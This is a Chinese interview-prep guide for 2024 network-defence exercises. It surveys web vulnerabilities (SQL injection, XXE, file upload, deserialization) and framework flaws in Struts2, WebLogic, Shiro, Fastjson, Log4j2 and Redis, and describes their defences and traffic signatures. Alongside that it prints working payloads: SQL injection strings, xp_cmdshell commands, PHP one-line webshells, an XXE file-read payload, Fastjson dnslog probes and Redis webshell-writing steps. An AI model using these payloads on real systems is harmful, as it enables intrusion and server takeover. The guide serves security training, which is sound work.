2024护网热门面试题总结(精华版)

面经总结

web漏洞篇

SQL注入

SQL注入原理

web应用对用户输入的数据没有过滤或者过滤不严谨,并且把用户输入的语句当做sql语句带入到数据中执行

SQL注入有哪几种注入类型?

从注入参数类型分:数字型、字符型、搜索性

从注入方法分:联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、二次注入

从提交方式分:GET、POST型、COOKIE型、HTTP头型、XFF头型

sql注入详解

MySQL5.0及以上和5.0以下有什么区别?
  • mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做information_schema,而5.0以下的版本不存在,不能查表名,只能暴力跑表。

    information_schema下面又包含了这几张表:schemata、tables、columns。这三张表依次分别存放着字段:(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)

    select group_concat(table_name) from information_schema.tables where table_schema=database();

    select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ;

  • 5.0以上是多用户多操作,5.0以下是多用户单操作

mysql一个@和两个@有什么区别?

一个@是用户自定义变量,两个@是系统变量,如@@version,@@user

sql注入常用函数
 database() 返回当前数据库名
 user() 返回当前数据库用户名
 updatexml() 更新xml文档,常用于报错注入
 mid() 从指定字段中提取出字段的内容
 limit() 返回结果中的前几条数据或者中间的数据
 concat() 返回参数产生的字符串
 group_concat() 分组拼接函数
 count() 返回指定参数的数目
 rand() 参数0~1个随机数
 flood() 向下取整
 substr() 截取字符串
 ascii() 返回字符串的ascii码
 left() 返回字符串最左边指定个数的字符
 ord() 返回字符的ascii码
 length() 返回字符串长度
 sleep() 延时函数

等价函数绕过,反之亦可:

 group_concat ( ) ==> concat_ws( )
 sleep( ) ==> benchmark()、getlock()
 mid ( )、substr( ) ==> substring( )
 user() ==> @@user
 updatexml( ) ==> extractvalue()、floor()、exp()

常用编码:

 0x27 == ' == %27
 0x23 == # == %23
 0x7e == ~ == %7e
 0x5c == / == %5c
 0xdf /

什么是宽字节注入,如何操作?

宽字节注入:

当php开启gpc或者使⽤addslashes函数时,单引号'被加上反斜杠',其中\的URL编码为%5C,我们传⼊%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql⽤GBK编码时会认为%df%5C是个宽字符縗,于是%df%5C'便等价于縗',单引号得以逃逸出来,产⽣注⼊。

操作:

 id=1%df' and 1=2 union select 1,2,user(),4 %23

防范措施:

防范措施:预编译、参数化查询、统一字符编码方式

如果magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。

什么是二次注入?

参数传入的恶意数据在传入时被转义,但是在数据库处理时又被还原并存储在数据库中,导致二次注入。 举例: 注册用户名admin'#用户,传入值为admin'#,但是在存储数据库时值变为admin'#,此时若修改密码为123456,管理员admin密码就被修改为123456

sleep函数禁用后怎么进行sql注入

BENCHMARK、Get_lock函数,当都被禁用后可以使用计算量比较大的语句让数据库的查询时间边长,从而达到延时注入的效果。

 id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(100000
 00,md5(0x41))),1) --+
 AND (SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.SCHEMATA C);
 id=1 and if(ascii(substring((database()),1,1))=115,(select get_lock('mylock',10)),1) --+

(select benchmark(10000000,md5(0x41))):如果上述条件为真(即数据库名以's'开头),则执行这个子查询。这里使用的benchmark函数是MySQL的一个功能,它重复执行一个表达式指定次数(这里是10000000次),用于测量表达式的性能。这里的表达式是md5(0x41),即计算字符'A'的MD5哈希值。执行这一重复操作通常会导致数据库响应变慢,从而可以被攻击者用来推断条件表达式的结果

(select get_lock('mylock',10)):如果上述条件为真,则执行这个子查询。get_lock('mylock',10) 函数尝试获取一个名为 'mylock' 的锁,并最多等待 10 秒来获得这个锁。如果锁被成功获取,该函数返回 1;如果在指定时间内未能获取锁,则返回 0。这个函数的调用会导致查询在获得锁或超时前暂停执行,从而可以通过观察查询延迟来推断条件的结果。

有一个MYSQL时间盲注,有没有更快的获得数据的方法,禁止使用工具和脚本?
 二分法加速
 与运算加速
 二进制延时注入加速
 dnslog OOB外带通信

报错注入的函数

floor()

floor函数在SQL函数中用于向下取整,即将一个数值向下取整到最接近的整数

 ?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

extravalue()

 ?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'))))--+

updatexml()

 ?id=1" and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

exp()

SQL注入写shell的条件、用法

条件:

 当前用户具有dba权限
 找到网站绝对路径
 网站有可写目录
 mysql的配置secure_file_priv为空

用法:

mysql

 id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php"
 %23

sqlserver:

 id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --

sql注入常见绕WAF方法?
 内联注释绕过
 填充大量脏数据绕过垃圾参数填充绕过
 改变提交方式绕过,如GET方式变为POST方式
 提交随机agent头绕过
 fuzz过滤函数,函数替换绕过

SQL注入防护

1、参数化查询

参数化查询的工作原理是将 SQL 语句的结构与其使用的数据分开。当数据库服务器接收到一个参数化的查询时,它首先编译 SQL 语句,确定其结构,然后独立于其结构处理每个参数的值。这意味着,即使参数的值包含了可能会改变查询结构的 SQL 关键字或特殊字符,这些值也只会被视为数据,而不是 SQL 代码的一部分

使用参数占位符,确保传入的参数值不会被解析为SQL语句的一部分

确保语句是语句,参数是参数,即使参数中是sql语句,也只是普通字符串数据,不会影响查询的结构

2、使用预编译语句

预编译语句允许应用程序预先编译 SQL 语句,然后再向编译好的语句中插入或修改参数值

3、限制数据库权限

最小权限原则

4、前后端输入验证

对输⼊的特殊字符进⾏Escape 转义处理

正则化匹配过滤关键字 ,对特殊字符进行过滤、转义、替换、删除

限制输入数据的类型、格式和长度

5、关闭报错信息

6、规范编码、字符集

7、WAF

Sqlmap -v 参数是什么意思?

使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:

等级解释
0只显示python错误以及严重信息
1同时显示基本信息和警告信息
2同时显示debug信息
3同时显示注入的pyload
4同时显示HTTP请求
5同时显示HTTP相应头
6同时显示HTTP相应页面

各参数详解:

 -u 指定目标URL (可以是http协议也可以是https协议)
  
 -d 连接数据库
  
 --dbs 列出所有的数据库
  
 --current-db 列出当前数据库
  
 --tables 列出当前的表
  
 --columns 列出当前的列
  
 -D 选择使用哪个数据库
  
 -T 选择使用哪个表
  
 -C 选择使用哪个列
  
 --dump 获取字段中的数据
  
 --batch 自动选择yes
  
 --smart 启发式快速判断,节约浪费时间
  
 --forms 尝试使用post注入
  
 -r 加载文件中的HTTP请求(本地保存的请求包txt文件)
  
 -l 加载文件中的HTTP请求(本地保存的请求包日志文件)
  
 -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
  
 -o 开启所有默认性能优化
  
 --tamper 调用脚本进行注入
  
 -v 指定sqlmap的回显等级
  
 --delay 设置多久访问一次
  
 --os-shell 获取主机shell,一般不太好用,因为没权限
  
 -m 批量操作
  
 -c 指定配置文件,会按照该配置文件执行动作
  
 -data data指定的数据会当做post数据提交
  
 -timeout 设定超时时间
  
 --level 设置注入探测等级
   级别越高发送的请求越多
   level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
  
 --risk 风险等级
   默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,
 可能导致更新的整个表,可能造成很大的风险
       
  
 --identify-waf 检测防火墙类型
  
 --param-del="分割符" 设置参数的分割符
  
 --skip-urlencode 不进行url编码
  
 --keep-alive 设置持久连接,加快探测速度
  
 --null-connection 检索没有body响应的内容,多用于盲注
  
 --thread 最大为10 设置多线程
Mysql提权方法
Mysql_UDF提权

利用了root高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出udf.dll文件后,我们就可以直接在命令框中输入cmd

select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

限制条件:

  • MySQL 数据库没有开启安全模式(确认secure_file_priv=是否为NULL)

  • 已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限

  • shell有写入到数据库安装目录的权限

Mysql_MOF提权

MOF提权是一个有历史的漏洞,基本上在Windows Server 2003的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果 MySQL有权限操作 mof 目录的话,就可以来执行任意命令了

Mssql提权方法
xp_cmdshell提权

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权

前提:

  1. getshell或者存在sql注入并且能够执行命令。

  2. sql server是system权限,sql server默认就是system权限

启用xp_cmdshell

EXEC master..sp_configure 'show advanced options',

1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',

1;RECONFIGURE;

# 通过xp_cmdshell执行系统命令

Exec master.dbo.xp_cmdshell 'whoami'

sp_oacreate提权

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权,

前提:

需要同时具备sp_oacreate和sp_oamethod两个功能组件

开启组件

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH

OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',

1;RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

执行系统命令(无回显)

declare @shell int exec sp_oacreate 'wscript.shell',@shell output

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c

whoami'

通过沙盒执行命令

# 开启沙盒

exec master..xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxM

ode','REG_DWORD',1

# 利用jet.oledb执行命令

select * from

openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32

\ias\dnary.mdb','select shell("whoami")')

通过Agent Job执行命令

修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线

XSS

XSS分类:

反射型、存储型、DOM型

XSS攻击方式:
  • 盗取用户cookie

  • 蠕虫攻击

  • 恶意弹窗

XSS绕过策略:

大小写混写、双写、编码、组合平凑、替换

XSS过滤<怎么绕过?

XSS防护:
  1. htmlspecialchars()

    将预定义字符转为html实体

  2. 开启Http-only,禁止js读取cookie信息

  3. 输入验证,正则化匹配

SSRF

ssrf原理:

服务器允许向其他服务器获取资源,但是并没有对地址做严格的过滤和限制,导致攻击者可以向受害者服务器传入任意的url,地址,并将数据返回

ssrf危害:

端口探测、敏感信息泄露等,最为主要的就是能够访问到外网无法访问的系统和服务器,漫游内网

ssrf防护:

从以上我们可以得出,该漏洞产生的原因是由于服务端对资源进行请求的时候对URL的验证出现了纰漏,所以我们的防护策略主要是围绕URL的过滤。 1、将URL进行解析转化成IP,并使用正则表达式表示内网网址,并以此进行URL过滤。 2、建立URL白名单,只允许白名单上内容通过过滤。 3、建立内网P黑名单,阻止对该IP的请求。 4、对返回内容进行过滤,减少敏感内容暴露。 5、禁止不需要的协议,只允许http和https协议的请求,减少file等协议的问题。

CSRF

csrf成功利用的条件:

用户在统一浏览器下,没有关闭浏览器,访问了攻击者精心伪装好的恶意链接

csrf防护:

同源策略(SOP)

 限制跨站请求,从标头进行限制
 对敏感操作进行二次验证,比如验证码
 使用CSRF令牌,即为Token
 验证Refer头部,来源进行白名单验证

SSRF和CSRF的区别

SSRF(Server-side Request Forgery,服务端请求伪造)和CSRF(Cross-site Request Forgery,跨站请求伪造)是两种不同的攻击类型,它们主要的区别在于攻击的目标和方式。

SSRF攻击是一种通过欺骗服务器来发送恶意请求的攻击技术,攻击者利用服务器上的漏洞进行攻击,并使服务器对指定的目标URL发起网络请求,从而达到恶意操作的目的。SSRF攻击主要针对服务器端应用程序

而CSRF攻击则是一种利用用户身份验证信息来执行未经授权的操作的攻击,攻击者通过欺骗用户访问包含恶意代码的网站,来达到获取用户敏感信息、执行交易等攻击目的。CSRF攻击主要针对客户端浏览器

另外,防御SSRF攻击和CSRF攻击的方法也有所不同。防御SSRF攻击需要对所有输入进行严格的验证和过滤,并使用白名单技术限制应用程序只向可信的服务器发送请求。而防御CSRF攻击需要使用随机的令牌(如CSRF Token)来验证每个请求的来源是否合法,并防止攻击者能够伪造请求或欺骗用户进行非法操作。

RCE

PHP代码执行函数
 eval
 array_map()
 create_function()
 call_user_func()
PHP命令执行函数
 system 
 exec
 shell_exec
 passthru
 popen
 proc_open

命令执行常见绕过思路
空格过滤绕过:$IFS、<>、%09(要求php环境)
管道符绕过:;、&、&&
消除后缀:%20%23
黑名单绕过:字符拼接、单双引号、反斜杠、通配符
cat命令绕过:more、less、head、tac、tail、nl、
od、vi、vim、sort、uniq、file-f、grep

XXE

xxe原理:

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

php相关函数有parsexml、simple_xml_loadfile

示例攻击payload:

 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
 <stockCheck><productId>&xxe;</productId></stockCheck>
xxe利用方式:
  1. 如果服务器解析xml数据并且给出直观的回显,那么我们可以直接通过引用内部实体添加xml数据比如:file:///etc/ passwd文件看到相关数据

  2. 如果解析但是不给回显,同时支持检测DTD外部引用实体,我们可以通过xml中添加主机ip发运请求后查看主机ip日志是否得到返回数据,或者干脆使用DNSlog

  3. 基于SSRF的XXE,可以通过http协议进行探测

XXE防护:

使用开发语言提供的禁用外部实体的方法

  • PHP:

     libxml_disable_entity_loader(true);

    JAVA:

     DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
     dbf.setExpandEntityReferences(false);

    Python:

     from lxml import etree
     xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

  • 过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

不允许XML中有用户自定义的DTD、

参考链接:浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

遇到xxe盲注怎么办:

如果遇到xxe无回显注入的话,可以选择使用dns外带和外部参数实体注入。在攻击者vps准备一个test.dtd通过base64为将读取的内容加密得到的值当作传参值,发送给攻击者的vps,受害者通过外部参数实体注入访问攻击者公网服务器下的test.dtd文件,最后看攻击者vps日志,解码得到受害者服务器内容 或者dnslog打

无回显不出网漏洞利用
1. 反弹shell
2. Http请求外带
3. Dnslog外带
4. 时间延时判断
5. 盲写webshell文件
6. ICMP协议外带

文件包含

常用协议

php://filter、data协议、php://input、file=phar://协议

img

无回显条件下的命令执行判断和利用方式研究 - FreeBuf网络安全行业门户)

文件上传

文件上传黑白名单绕过

黑名单绕过:

  • 特殊文件后缀

  • 大小写

  • 双写

  • .htaccess

    1.这将把目录下的shell.jpg的文件当做可执行的php脚本进行解析并执行 <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>

    2.上传后缀为.aaa的文件,让其做为php类型文件进行解析 AddType application/x-httpd-php .aaa

  • .uer.ini

  • 空格绕过(win特性)

  • .绕过(win特性)

  • ::$DATA绕过(win特性)

白名单绕过:
  • %00截断

    当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

    示例:a.php%00.jpg

  • 图片马(需配合解析漏洞、包含漏洞)

    copy CSDN.png/b+1.php/a phpinfo.png

后端检测:

  • MIME检测

  • 文件头检测

文件上传竞争条件

概念:发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中

产生原理:先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除。

利用思路:设置并发上传、并发访问

方式一:上传a.php木马文件,以极快的时候进行访问,执行文件流重新写入一个新的木马文件b.php

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?>

只要访问了a.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<?php @eval($_POST["x"]);?>

方式二:上传多个a.php木马文件,赶在应用程序删除它之前,我们进行访问;

文件上传二次渲染

出现的原因:处于安全方面的考虑,不信任用户输入、上传的任何数据、图片;因此,对于用户上传的图片等信息,都需要开发人员对图片文件重新生成;这就是防止图片中参杂恶意代码的防御措施;(即,对图片文件流,只保留可以生成图片的最基本部分,其他地方舍弃!)

二次渲染的意义:二次渲染过滤掉图片中掺杂的恶意代码

二次渲染绕过方式:

gif绕过

将包含恶意代码的图片phpinfo.gif,上传到服务器; 服务器上传图片功能代码,对图片进行过滤,只保存最基本的部分,并返回到前端页面展示; 下载上传后的图片,并用winhex.exe打开,发现图片末尾处的一句话木马消失; 使用winhex对比功能,找到原图片与上传后图片的相同之处,并在该位置插入恶意代码; 实际操作:winhex——》工具——》比较——》搜索相同;展示区,蓝色部分是没有发生变化的, 在图片相同处,蓝色部分位置中间插入恶意代码,并上传,成功绕过;

jpg绕过

php jpg_payload.php 2man.jpg

png绕过

php png_payload.php TJXB.png

运行脚本即可生成,这里的一句话木马是:

<?$_GET[0]($_POST[1]);?> 使用方式是get传参0=。。。 加上post传参1=。。。

文件上传防御措施:

  • 文件上传的存储位置与服务器分离

  • 上传文件重新修改文件名、后缀名(前段传递、后端校验)

  • 文件上传的保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载

框架组件篇

反序列化漏洞
漏洞成因:

身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。

漏洞可能出现的位置
  1. 解析认证token、session的位置

  2. 将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等

  3. 将对象序列化后在网络中传输,如传输json数据,xml数据等

  4. 参数传递给程序

  5. 使用RMI协议,被广泛使用的RMI协议完全基于序列化

  6. 使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等

  7. 定义协议用来接收与发送原始的java对象

漏洞原理:

在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。

在Java中没有魔术方法,但是有反射(reflection)机制在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。

防御方法:

对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码

对反序列化接口添加认证授权

设置反序列化服务仅在本地监听或者设置相应防火墙策略

禁止使用存在漏洞的第三方框架库

过滤、禁用危险函数

过滤T3协议或限定可连接的IP

设置Nginx反向代理,实现t3协议和http协议隔离

PHP反序列化

简述

把对象变成一个可以传输的字符串,为了方便传输.PHP文件在执行结束后会销毁对象,但有时候可能会用到销毁的了的对象,重复调用代码比较麻烦,于是有了序列化和反序列化,可以吧一个实例化对象长久的存在计算机磁盘上,调用的时候拿出来反序列化即可

漏洞原理

反序列化内容用户可控,且后台不正当地使用了魔术方法,使用户可以构造一个恶意的序列化字符串

利用流程

拿到代码,确定unserialize函数参数可控,然后看这些代码有哪些类,类中有哪些魔术方法,可以随着对象的创建或者销毁等操作调用哪些魔术方法,看魔术方法中有没有可以让我们利用的点,看类中有哪些参数可以通过反序列化修改,结合这些可以修改的参数和魔术方法中的利用点进行反序列化漏洞的利用

Thinkphp框架漏洞

SpringBoot框架漏洞

Struts2框架漏洞

较危险的反序列化/代码执行
S2-045/46(CVE-2017-5638)

通过Content-Type这个header头,进而执行命令,通过 Strus2 对错误消息处理进行回显

S2-062(CVE-2021-31805)

使用了 %{…} 语法进行强制OGNL解析时,有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执

利用条件

alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可挫的,所以namespace也是可控的。 ​ action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性

流量特征:

一般Struts2框架的接口会以.do、.action结尾; struts2一些常见的关键字: memberAcecess,getRuntime,printin,双引号,单引号,等号,括号之类的符号。

Tomcat常见漏洞利用

Weblogic常见漏洞利用

T3协议

T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现RMI远程过程调用的专有协议,其允许客户端进行JNDI调用。

判断是否攻击成功
  1. 攻击成功会有明显的返回weblogic字样

  2. 会有带加密格式的序列化字符串

  3. 是否成功攻击要看日志,是否有调用恶意Java类,网络套接字,上传war

反序列化漏洞
CVE-2016-xxxx~CVE-2018-xxxx
  • 全是基于T3协议的反序列化漏洞

  • 2017~2018的反序列化属于weblogic JRMP反序列化

  • 有一些是修复问题,不同的证书编号,可能是上一个漏洞的补丁绕过

权限绕过(利用链)
CVE-2020-14882(未授权访问)

攻击者可以构造特殊请求的URL,即可未授权访问并接管管理控制台(WebLogic Server Console)。访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。

CVE-2020-14883(代码执行)

通过构造恶意URL链接,调用Java类,有两种,一种可以直接进行命令执行,但需要weblogic版本高于12.2.1,另一种是远程加载恶意xml,weblogic版本高于10.3.6即可。

回答2

  1. 通过t3协议直接发送恶意反序列化对象

  2. 利用t3协议配合jrmp或jndi接口反向发送反序列化数据

  3. 通过javabean xml方式发送反序列化数据

修复
  • 禁用T3协议

  • 禁止启用IIOP

  • 临时关闭后台/console/console.portal对外访问

  • 升级官方安全补丁

特征: 服务器开放7001端口,传递xml数到wls-wsat,数据包内容有bash或者dnslog字段。

Jboss常见漏洞利用

Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)

JMX Console未授权访问漏洞

shiro常见漏洞利用

原理简述

Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

检索RememberMe Cookie的值=>Base 64解码=>AES解密(加密密钥硬编码,通常为默认密钥)=>进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。

受影响版本
  • Apache Shiro <= 1.2.4 shiro-550

  • Apache Shiro <= 1.4.1 shiro-721

主要流量特征
强特征

请求包cookie中有RememberMe字段,返回包中包含Set-Cookie: rememberMe=deleteMe字段

  • 未登录:请求包cookie中没有rememberme字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败:不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 登陆成功:

    • 不勾选RememberMe字段,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

    • 勾选RememberMe字段,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro550与shiro721的区别

1、这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库,不需要Remember Cookie。 2、Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie值来实现反序列化漏洞攻击,难度较高。

Apache Shiro反序列化漏洞: Shiro rememberMe (Shiro-550) Shiro Padding Oracle Attack(Shiro-721) Shiro 550:使用56位密钥加密,是DES算法的一种变体 Shiro 721:使用128位密钥加密,是AES算法的一种变体

流量层面分析shiro反序列化攻击是否成功?

1.在HTTP请求头Cookie里出现rememberMe字段以及可能出现自定义类型例如c: aWQ=,响应体中出现大量编码字符串,若需要判断是否攻击成功,需对请求数据和响应体内容进行解密判断 2.检查请求头中的"rememberMe" cookie。攻击者可能会在此处插入恶意序列化数据 3.观察服务器响应。如果服务器返回了异常错误信息,如Java反序列化异常,可能表明攻击成功 例如,攻击者发送了一个包含恶意序列化数据的请求,服务器响应了一个包含Java反序列化异常的错误信息这可能表明攻击成功。

Fastjson常见漏洞利用

漏洞原理

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。 fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

使用@type?? ?value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。

Fastjson寻找

1、根据返回包判断: 任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。 2、利用dnslog盲打: 构造以下payload(content-type字段为application/json),利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"ntel8h.dnslog.cn"}}(不同版本,payload不同。推荐这种方式)

原理: java.net.InetAddress这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过dnslog的方式得知漏洞是否存在

 {"name":
 {"@type":"java.net.InetAddress","val":"i1q73g.dnslog.cn"}}
 ​
 {
    "name":{
        "@type":"java.net.InetAddress",
        "val":"i1q73g.dnslog.cn"
    }
 }
流量特征:
  • @type

  • 存在恶意类和命令

  • 在请求包中查找json格式的字符串,重点在于rmi和一些出网操作

无回显怎么办:
  1. 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果

  2. 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了

  3. 直接将命令执行结果回显到请求Poc的HTTP响应中

fastjson不出网的利用

第一种:解析Json的时候需要用feature才能触发,然后利用poc构建

第二种:需要搭建环境,部署在tomcat环境

用BCEL库

log4j2常见漏洞利用

原理简述:

该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞

原理分析:

Apache Log4j2框架中存在一个名为JNDI Lookup的功能,它允许通过配置文件中的JNDI名称引用外部资源。 攻击者构造一个特殊的日志消息,其中包含恶意的JNDI名称,并通过网络发送给受影响的应用程序。当应用程序使用Log4j2框架解析日志消息时,它会尝试查找和引用该JNDI名称。如果恶意的JNDI名称指向一个恶意的远程资源,例如恶意的LDAP服务器或RMI 服务,攻击者可以控制该远程资源的内容和行为。 攻击者可以在恶意的远程资源中注入恶意代码,并在目标系统上执行任意命令或获取敏感信息。

受影响版本
  • 2.0 <= Apache Log4j <= 2.15.0-rc1,2.15.0-rc2不受影响

流量特征:
  • 攻击者发送的数据包中可能存在${jndi:}字样,推荐使用全流量或WAF设备进行检索排查

    • jndi注入,可以不是jndi,jndi有可能被拼接,但是一定有${},一般通过ldap远程加载class文件

    • 有时会出现在ua头,不在请求体

利用方法:
  1. 使用dnslog探测log4j漏洞

  2. 在自己的vps上,下载jndi注入器

  3. 构造bash命令,如反弹shell命令,执行,会自动搭建rmi或ldap服务

  4. 再在自己的vps上开启端口监听

  5. 在存在漏洞的页面上构造payload,发送注入器提供的远程下载地址

流量层面分析log4j2 远程代码执行漏洞是否攻击成功

1、dnslog类:查看是否存在源ip与dnslog的外联日志记录 2、命令执行攻击 2.1 有回显:响应体中存在命令执行结果 2.2 无回显:存在源ip与ldap服务ip的外联日志记录

渗透思路篇

Redis未授权:

redis的未授权访问除了写shell还能有哪些危害
  • 写入ssh公钥

  • 写计划任务反弹shell

  • 远程/本地主从复制RCE

redis 的几种rce手段
写SSH公钥

条件:服务器存在.ssh目录且具有写入的权限

原理:在数据库中插入一条数据,将本机的公钥作value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

写webshell

条件:已知web绝对路径。

步骤:

 1. redis -cli -h 192.168.x.x  连接目标服务器
 ​
 2. config set dir  "/var/www/html"  设置保存文件路径
 ​
 3. config  set dbfilename  shell.php 设置保存文件名`
 ​
 4. set x  "\n\n<?php <span class="label label-primary">@eval($_POST['cmd']);</span> ?>\n"    将webshell写入x键值中
 ​
 5. save    保存
主从复制RCE

原理:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通写C语言编译并加载恶意的.so文件,达到代码执行的目的。 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步恶意的.so文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了

利用流程:`

